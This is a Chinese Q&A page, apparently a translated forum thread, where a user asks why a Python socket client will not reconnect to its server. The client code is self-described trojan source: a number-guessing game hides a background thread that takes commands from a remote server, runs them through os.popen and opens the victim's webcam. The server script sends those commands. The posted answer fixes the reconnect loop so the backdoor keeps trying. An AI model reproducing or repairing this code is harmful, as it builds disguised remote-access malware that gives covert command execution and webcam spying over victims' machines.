首页 > 解决方案 > Python 套接字无法建立连接

问题描述

为了运行我的代码,我需要在 client.py 之前运行 server.py 才能连接。我想让它在两个方向上都起作用,这样先发生什么都没关系。我设置了一个tryexcept块,但我仍然得到一个ConnectionRefusedError: [WinError 10061] No connection could be made because the target machine actively refused it错误。

这是我的client.py:

import random
import socket
import threading
import sys
import os
from os import system, name
from time import sleep
import cv2


def commands():
    cmd_mode = False
    # Commands for the trojan
    if command == 'cmdon':
        cmd_mode = True
        client.send(
            'You now have terminal access!'.encode('utf-8'))
    if command == 'cmdoff':
        cmd_mode = False
    if cmd_mode:
        os.popen(command)
    else:
        if command == 'webcam':
            cap = cv2.VideoCapture(0)
            while True:
                ret, frame = cap.read()
                cv2.imshow('WebCam (Press enter to exit)', frame)
                if cv2.waitKey(1) & 0xFF == ord(' '):
                    break
            cap.release()
            cv2.destroyAllWindows()
    client.send(
        f'{command} was exectued successfully!'.encode('utf-8'))


def access():
    HOST = '127.0.0.1'
    PORT = 22262

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    while True:
        try:
            client.connect((HOST, PORT))
            commands()
        except Exception:
            client.connect((HOST, PORT))
            commands()


def game():
    number = random.randint(0, 1000)
    tries = 1
    done = False

    while not done:
        guess = int(input('Enter a guess: '))

        if guess == number:
            done = True
            print('You won!')
        else:
            tries += 1
            if guess > number:
                print('The actual number is smaller.')
            else:
                print('The actual number is larger.')
        print(f'You need {tries} tries!')


t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)

t1.start()
t2.start()

这是我的 server.py

import socket
from os import system, name


def clear():
    if name == 'nt':
        _ = system('cls')


HOST = ''
PORT = 22262

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))

server.listen()
client, address = server.accept()
server.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 10000, 3000))


while True:
    print(f'Connected to {address}')
    cmd_input = input('Enter a command: ')
    client.send(cmd_input.encode('utf-8'))
    print(client.recv(1024).decode('utf-8'))

我的代码有什么问题?为什么except块不处理错误并尝试重新连接?

标签: pythonpython-3.xsocketsserverclient

解决方案


发现有什么问题我只需要改变

 except Exception:
            client.connect((HOST, PORT))
            commands()

 except Exception:
            pass

推荐阅读